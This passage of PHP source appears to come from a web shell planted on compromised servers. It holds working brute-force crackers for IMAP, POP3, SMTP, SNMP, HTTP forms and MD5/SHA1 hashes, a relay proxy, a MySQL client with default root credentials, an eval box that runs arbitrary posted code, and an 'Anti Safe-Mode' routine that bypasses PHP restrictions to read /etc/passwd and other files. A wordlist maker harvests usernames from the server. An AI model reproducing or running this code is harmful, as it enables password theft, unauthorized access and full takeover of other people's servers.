  779. function imaplogiN($host,$username,$password){
  780. $sock=fsockopen($host,143,$n,$s,5);
  781. $b=namE();
  782. $l=strlen($b);
  783. if(!$sock)return -1;
  784. fread($sock,1024);
  785. fputs($sock,"$b LOGIN $username $password\r\n");
  786. $res=fgets($sock,$l+4);
  787. if ($res == "$b OK")return 1;else return 0;
  788. fclose($sock);
  789. }
  790. function pop3logiN($server,$user,$pass){
  791. $sock=fsockopen($server,110,$en,$es,5);
  792. if(!$sock)return -1;
  793. fread($sock,1024);
  794. fwrite($sock,"user $user\n");
  795. $r=fgets($sock);
  796. if($r{0}=='-')return 0;
  797. fwrite($sock,"pass $pass\n");
  798. $r=fgets($sock);
  799. fclose($sock);
  800. if($r{0}=='+')return 1;
  801. return 0;
  802. }
  803. function imapcrackeR(){
  804. global $t,$et,$errorbox,$crack;
  805. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  806. $target=$_REQUEST['target'];
  807. $type=$_REQUEST['combo'];
  808. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  809. $dictionary=fopen($_REQUEST['dictionary'],'r');
  810. if ($dictionary){
  811. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  812. while(!feof($dictionary)){
  813. if($type){
  814. $combo=trim(fgets($dictionary)," \n\r");
  815. $user=substr($combo,0,strpos($combo,':'));
  816. $pass=substr($combo,strpos($combo,':')+1);
  817. }else{
  818. $pass=trim(fgets($dictionary)," \n\r");
  819. }
  820. $imap=imaplogiN($target,$user,$pass);
  821. if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{
  822. if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}}
  823. flusheR();
  824. }
  825. echo "<br>Done</font>";
  826. fclose($dictionary);
  827. }
  828. else{
  829. echo "$errorbox Can not open dictionary.$et";
  830. }
  831. }else echo "<center>${t}IMAP cracker:$crack";
  832. }
  833. function snmpcrackeR(){
  834. global $t,$et,$errorbox,$crack,$hcwd;
  835. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  836. $target=$_REQUEST['target'];
  837. $dictionary=fopen($_REQUEST['dictionary'],'r');
  838. if ($dictionary){
  839. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  840. while(!feof($dictionary)){
  841. $com=trim(fgets($dictionary)," \n\r");
  842. $res=snmpchecK($target,$com,2);
  843. if($res)echo "$com<br>";
  844. flusheR();
  845. }
  846. echo "<br>Done</font>";
  847. fclose($dictionary);
  848. }
  849. else{
  850. echo "$errorbox Can not open dictionary.$et";
  851. }
  852. }else echo "<center>${t}SNMP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
  853. }
  854. function pop3crackeR(){
  855. global $t,$et,$errorbox,$crack;
  856. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  857. $target=$_REQUEST['target'];
  858. $type=$_REQUEST['combo'];
  859. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  860. $dictionary=fopen($_REQUEST['dictionary'],'r');
  861. if ($dictionary){
  862. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  863. while(!feof($dictionary)){
  864. if($type){
  865. $combo=trim(fgets($dictionary)," \n\r");
  866. $user=substr($combo,0,strpos($combo,':'));
  867. $pass=substr($combo,strpos($combo,':')+1);
  868. }else{
  869. $pass=trim(fgets($dictionary)," \n\r");
  870. }
  871. $pop3=pop3logiN($target,$user,$pass);
  872. if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{
  873. if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}}
  874. flusheR();
  875. }
  876. echo "<br>Done</font>";
  877. fclose($dictionary);
  878. }
  879. else{
  880. echo "$errorbox Can not open dictionary.$et";
  881. }
  882. }else echo "<center>${t}POP3 cracker:$crack";
  883. }
  884. function smtpcrackeR(){
  885. global $t,$et,$errorbox,$crack;
  886. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  887. $target=$_REQUEST['target'];
  888. $type=$_REQUEST['combo'];
  889. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  890. $dictionary=fopen($_REQUEST['dictionary'],'r');
  891. if ($dictionary){
  892. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
  893. while(!feof($dictionary)){
  894. if($type){
  895. $combo=trim(fgets($dictionary)," \n\r");
  896. $user=substr($combo,0,strpos($combo,':'));
  897. $pass=substr($combo,strpos($combo,':')+1);
  898. }else{
  899. $pass=trim(fgets($dictionary)," \n\r");
  900. }
  901. $smtp=smtplogiN($target,$user,$pass,5);
  902. if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{
  903. if ($smtp){echo "U: $user P: $pass<br>";if(!$type)break;}}
  904. flusheR();
  905. }
  906. echo "<br>Done</font>";
  907. fclose($dictionary);
  908. }
  909. else{
  910. echo "$errorbox Can not open dictionary.$et";
  911. }
  912. }else echo "<center>${t}SMTP cracker:$crack";
  913. }
  914. function formcrackeR(){
  915. global $errorbox,$footer,$et,$hcwd;
  916. if(!empty($_REQUEST['start'])){
  917. $url=$_REQUEST['target'];
  918. $uf=$_REQUEST['userf'];
  919. $pf=$_REQUEST['passf'];
  920. $sf=$_REQUEST['submitf'];
  921. $sv=$_REQUEST['submitv'];
  922. $method=$_REQUEST['method'];
  923. $fail=$_REQUEST['fail'];
  924. $dic=$_REQUEST['dictionary'];
  925. $type=$_REQUEST['combo'];
  926. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  927. if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer");
  928. $dictionary=fopen($dic,'r');
  929. echo "<font color=blue>Cracking started...<br>";
  930. while(!feof($dictionary)){
  931. if($type){
  932. $combo=trim(fgets($dictionary)," \n\r");
  933. $user=substr($combo,0,strpos($combo,':'));
  934. $pass=substr($combo,strpos($combo,':')+1);
  935. }else{
  936. $pass=trim(fgets($dictionary)," \n\r");
  937. }
  938. $url.="?$uf=$user&$pf=$pass&$sf=$sv";
  939. $res=check_urL($url,$method,$fail,12);
  940. if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;}
  941. flusheR();
  942. }
  943. fclose($dictionary);
  944. echo "Done!</font><br>";
  945. }
  946. else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>";
  947. }
  948. function hashcrackeR(){
  949. global $errorbox,$t,$et,$hcwd;
  950. if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
  951. $dictionary=fopen($_REQUEST['dictionary'],'r');
  952. if ($dictionary){
  953. $hash=strtoupper($_REQUEST['hash']);
  954. echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR();
  955. $type=($_REQUEST['type']=='MD5')?'md5':'sha1';
  956. while(!feof($dictionary)){
  957. $word=trim(fgets($dictionary)," \n\r");
  958. if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;}
  959. }
  960. echo "Done!</font>";
  961. fclose($dictionary);
  962. }
  963. else{
  964. echo "$errorbox Can not open dictionary.$et";
  965. }
  966. }
  967. echo "<center>${t}Hash cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
  968. }
  969. function pr0xy(){
  970. global $errorbox,$et,$footer,$hcwd;
  971. echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>";
  972. if (!empty($_REQUEST['urL'])){
  973. $dir="";
  974. $u=parse_url($_REQUEST['urL']);
  975. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  976. if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
  977. $url=@fsockopen($host, 80, $errno, $errstr, 12);
  978. if(!$url)die("<br>$errorbox Can not connect to host!$et$footer");
  979. fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  980. while(!feof($url)){
  981. $con = fgets($url);
  982. $con = str_replace("href=mailto","HrEf=mailto",$con);
  983. $con = str_replace("HREF=mailto","HrEf=mailto",$con);
  984. $con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
  985. $con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
  986. $con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
  987. $con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
  988. $con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  989. $con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  990. $con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  991. $con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
  992. $con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
  993. $con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
  994. $con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  995. $con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  996. $con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  997. $con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  998. $con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  999. $con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
  1000. echo $con;
  1001. }
  1002. fclose($url);
  1003. }
  1004. }
  1005. function mysqlclienT(){
  1006. global $t,$errorbox,$et,$hcwd;
  1007. if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
  1008. $server=$_REQUEST['serveR'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
  1009. if(!empty($_REQUEST['dB']))$db=$_REQUEST['dB'];
  1010. $link = @mysql_connect($server,$user,$pass);
  1011. if($link){
  1012. if (!empty($db))mysql_select_db($db);
  1013. $result=mysql_query($query,$link);
  1014. echo "${t}Query result(s):$et";
  1015. echo "<font color=blue><pre>";
  1016. while($data=mysql_fetch_row($result)){
  1017. foreach($data as $v) {
  1018. echo $v;
  1019. echo "\t";
  1020. }
  1021. echo "\n";
  1022. }
  1023. echo "</pre></font>";
  1024. mysql_close($link);
  1025. }
  1026. else{
  1027. echo "$errorbox Login failed!$et<br>";
  1028. }
  1029. }
  1030. echo "<center>${t}MySQL cilent:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "localhost:3306"; echo "\" name=serveR size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Username:</td><td bgcolor=\"#808080\"><input type=text name=useR value=\"";if (!empty($_REQUEST['user'])) echo htmlspecialchars($_REQUEST['user']);else echo "root"; echo "\" size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Password:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['pass'])) echo htmlspecialchars($_REQUEST['pass']);else echo "123456"; echo "\" name=pasS size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Database:</td><td bgcolor=\"#808080\"><input type=text value=\"";if (!empty($_REQUEST['db'])) echo htmlspecialchars($_REQUEST['db']); echo "\" name=dB size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Query:</td><td bgcolor=\"#666666\"><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['query'])) echo htmlspecialchars(($_REQUEST['query']));else echo "SHOW DATABASES"; echo "</textarea></td></tr></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Submit Query\"></td></tr></form></table></center>";
  1031. }
  1032. function phpevaL(){
  1033. global $t,$hcwd;
  1034. if (!empty($_REQUEST['code'])){
  1035. echo "<center><textarea rows=\"10\" cols=\"64\">";
  1036. $code = str_replace("<?php","",$_REQUEST['code']);
  1037. $code = str_replace("<?","",$code);
  1038. $code = str_replace("?>","",$code);
  1039. htmlspecialchars(eval($code));
  1040. echo "</textarea></center><br>";
  1041. }
  1042. echo "<center>${t}Evaler:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Codes:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"code\" cols=\"64\">";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></center>";
  1043. }
  1044. function whoiS(){
  1045. global $t,$hcwd;
  1046. if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
  1047. $server =$_REQUEST['server'];
  1048. $domain=$_REQUEST['domain']."\r\n";
  1049. $ser=fsockopen($server,43,$en,$es,5);
  1050. fputs($ser,$domain);
  1051. echo "<pre>";
  1052. while(!feof($ser))echo fgets($ser);
  1053. echo "</pre>";
  1054. fclose($ser);
  1055. }
  1056. else{
  1057. echo "<center>${t}Whois:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>";
  1058. }
  1059. }
  1060. function hexvieW(){
  1061. if (!empty($_REQUEST['filE'])){
  1062. $f = $_REQUEST['filE'];
  1063. echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\" bgcolor=\"#282828\">Offset</td><td width=\"25%\" bgcolor=\"#282828\">Hex</td><td width=\"25%\" bgcolor=\"#282828\"></td><td width=\"40%\" bgcolor=\"#282828\">ASCII</td></tr>";
  1064. $file = fopen($f,"r");
  1065. $i= -1;
  1066. while (!feof($file)) {
  1067. $ln='';
  1068. $i++;
  1069. echo "<tr><td width=\"10%\" bgcolor=\"#";
  1070. if ($i % 2==0) echo "666666";else echo "808080";
  1071. echo "\">";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo "</td>";
  1072. echo "<td width=\"25%\" bgcolor=\"#";
  1073. if ($i % 2==0) echo "666666";else echo "808080";
  1074. echo "\">";
  1075. for ($j=0;$j<=7;$j++){
  1076. if (!feof($file)){
  1077. $tmp = strtoupper(dechex(ord(fgetc($file))));
  1078. if (strlen($tmp)==1) $tmp = "0".$tmp;
  1079. echo $tmp." ";
  1080. $ln.=$tmp;
  1081. }
  1082. }
  1083. echo "</td><td width=\"25%\" bgcolor=\"#";
  1084. if ($i % 2==0) echo "666666";else echo "808080";
  1085. echo "\">";
  1086. for ($j=7;$j<=14;$j++){
  1087. if (!feof($file)){
  1088. $tmp = strtoupper(dechex(ord(fgetc($file))));
  1089. if (strlen($tmp)==1) $tmp = "0".$tmp;
  1090. echo $tmp." ";
  1091. $ln.=$tmp;
  1092. }
  1093. }
  1094. echo "</td><td width=\"40%\" bgcolor=\"#";
  1095. if ($i % 2==0) echo "666666";else echo "808080";
  1096. echo "\">";
  1097. $n=0;$asc="";$co=0;
  1098. for ($k=0;$k<=16;$k++){
  1099. $co=hexdec(substr($ln,$n,2));
  1100. if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
  1101. $asc.= chr($co);
  1102. $n+=2;
  1103. }
  1104. echo htmlspecialchars($asc);
  1105. echo "</td></tr>";
  1106. }
  1107. }
  1108. fclose($file);
  1109. echo "</table>";
  1110. }
  1111. function safemodE(){
  1112. global $windows,$t,$hcwd;
  1113. if (!empty($_REQUEST['file'])){
  1114. $i=1;
  1115. echo "<pre>\n<font color=green>Method $i:(ini_restore)</font><font color=blue>\n";
  1116. ini_restore("safe_mode");ini_restore("open_basedir");
  1117. $tmp = file_get_contents($_REQUEST['file']);
  1118. echo $tmp;
  1119. $i++;
  1120. echo "\n</font><font color=green>Method $i:(copy)</font><font color=blue>\n";
  1121. $tmp=tempnam("","cx");
  1122. copy("compress.zlib://".$_REQUEST['file'], $tmp);
  1123. $fh = fopen($tmp, "r");
  1124. $data = fread($fh, filesize($tmp));
  1125. fclose($fh);
  1126. echo $data;
  1127. $i++;
  1128. if(function_exists("curl_init")){
  1129. echo "\n</font><font color=green>Method $i:(curl_init)[A]</font><font color=blue>\n";
  1130. $fh = @curl_init("file://".$_REQUEST['file']."");
  1131. $tmp = @curl_exec($fh);
  1132. echo $tmp;
  1133. $i++;
  1134. echo "\n</font><font color=green>Method $i:(curl_init)[B]</font><font color=blue>\n";
  1135. $i++;
  1136. if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
  1137. $ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
  1138. else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
  1139. curl_exec($ch);
  1140. var_dump(curl_exec($ch));
  1141. }
  1142. if($_REQUEST['file'] == "/etc/passwd"){
  1143. echo "\n</font><font color=green>Method $i:(posix)</font><font color=blue>\n";
  1144. for($uid=0;$uid<99999;$uid++){
  1145. $h=posix_getpwuid($uid);
  1146. if (!empty($h))foreach($h as $v)echo "$v:";}}
  1147. $i++;
  1148. echo "</pre></font>";
  1149. }
  1150. echo "<center>${t}Anti Safe-Mode:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">File:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Read\"></td></tr></form></table></center>";
  1151. }
  1152. function crackeR(){
  1153. global $et;
  1154. $cwd = getcwd();
  1155. echo "<center><table border=0 bgcolor=#333333><tr><td><a href=\"".hlinK("seC=hc&workingdiR=$cwd")."\">[Hash]</a> - <a href=\"".hlinK("seC=smtp&workingdiR=$cwd")."\">[SMTP]</a> - <a href=\"".hlinK("seC=pop3&workingdiR=$cwd")."\">[POP3]</a> - <a href=\"".hlinK("seC=imap&workingdiR=$cwd")."\">[IMAP]</a> - <a href=\"".hlinK("seC=ftp&workingdiR=$cwd")."\">[FTP]</a> - <a href=\"".hlinK("seC=snmp&workingdiR=$cwd")."\">[SNMP]</a> - <a href=\"".hlinK("seC=sql&workingdiR=$cwd")."\">[MySQL]</a> - <a href=\"".hlinK("seC=fcr&workingdiR=$cwd")."\">[HTTP form]</a> - <a href=\"".hlinK("seC=auth&workingdiR=$cwd")."\">[HTTP Auth(basic)]</a> - <a href=\"".hlinK("seC=dic&workingdiR=$cwd")."\">[Dictionary maker]</a>$et</center>";
  1156. }
  1157. function dicmakeR(){
  1158. global $errorbox,$windows,$footer,$t,$et,$hcwd;
  1159. if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
  1160. if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
  1161. $min = $_REQUEST['min'];
  1162. $max = $_REQUEST['max'];
  1163. if($max<$min)die($errorbox ."Bad input!$et". $footer);
  1164. $s =$w="";
  1165. $out = $_REQUEST['output'];
  1166. $r = ($_REQUEST['range']=='a' )?'a':'A';
  1167. if ($_REQUEST['range']==0) $r=0;
  1168. for($i=0;$i<$min;$i++) $s.=$r;
  1169. $dic = fopen($out,'a');
  1170. if(is_nan($r)){
  1171. while(strlen($s)<=$max){
  1172. $w = $s;
  1173. if($combo)$w="$w:$w";
  1174. fwrite($dic,$w."\n");
  1175. $s++;}
  1176. }
  1177. else{
  1178. while(strlen($w)<=$max){
  1179. $w =(string)str_repeat("0",($min - strlen($s))).$s;
  1180. if($combo)$w="$w:$w";
  1181. fwrite($dic,$w."\n");
  1182. $s++;}
  1183. }
  1184. fclose($dic);
  1185. echo "<font color=blue>Done</font>";
  1186. }
  1187. if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
  1188. $input=fopen($_REQUEST['input'],'r');
  1189. if (!$input){
  1190. if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
  1191. else{
  1192. $input=explode("\n",shelL("cat $input"));
  1193. $output=fopen($_REQUEST['output'],'w');
  1194. if ($output){
  1195. foreach ($input as $in){
  1196. $user = $in;
  1197. $user = trim(fgets($in)," \n\r");
  1198. if (!strstr($user,":"))continue;
  1199. $user=substr($user,0,(strpos($user,':')));
  1200. if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
  1201. }
  1202. fclose($input);fclose($output);
  1203. echo "<font color=blue>Done</font>";
  1204. }
  1205. }
  1206. }
  1207. else{
  1208. $output=fopen($_REQUEST['output'],'w');
  1209. if ($output){
  1210. while (!feof($input)){
  1211. $user = trim(fgets($input)," \n\r");
  1212. if (!strstr($user,":"))continue;
  1213. $user=substr($user,0,(strpos($user,':')));
  1214. if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
  1215. }
  1216. fclose($input);fclose($output);
  1217. echo "<font color=blue>Done</font>";
  1218. }
  1219. else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
  1220. }
  1221. }elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
  1222. $res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
  1223. if($combo && $res){
  1224. $file=file($_REQUEST['output']);
  1225. $output=fopen($_REQUEST['output'],'w');
  1226. foreach ($file as $v)fwrite($output,"$v:$v\n");
  1227. fclose($output);
  1228. }
  1229. echo "<font color=blue>Done</font>";
  1230. }else{
  1231. $temp=whereistmP();
  1232. echo "<center>${t}Wordlist generator:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Range:</td><td bgcolor=\"#666666\"><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td><td bgcolor=\"#808080\"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td><td bgcolor=\"#666666\"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table><br>${t}Grab dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td><td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form></table><br>${t}Download dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table></center>";}
  1233. }
  1234. function calC(){
  1235. global $t,$et,$hcwd;
  1236. $fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
  1237. if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
  1238. echo "<center>${t}Output:<br><textarea rows=\"10\" cols=\"64\">";
  1239. if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i})));
  1240. echo "</textarea>$et</center><br>";
  1241. }
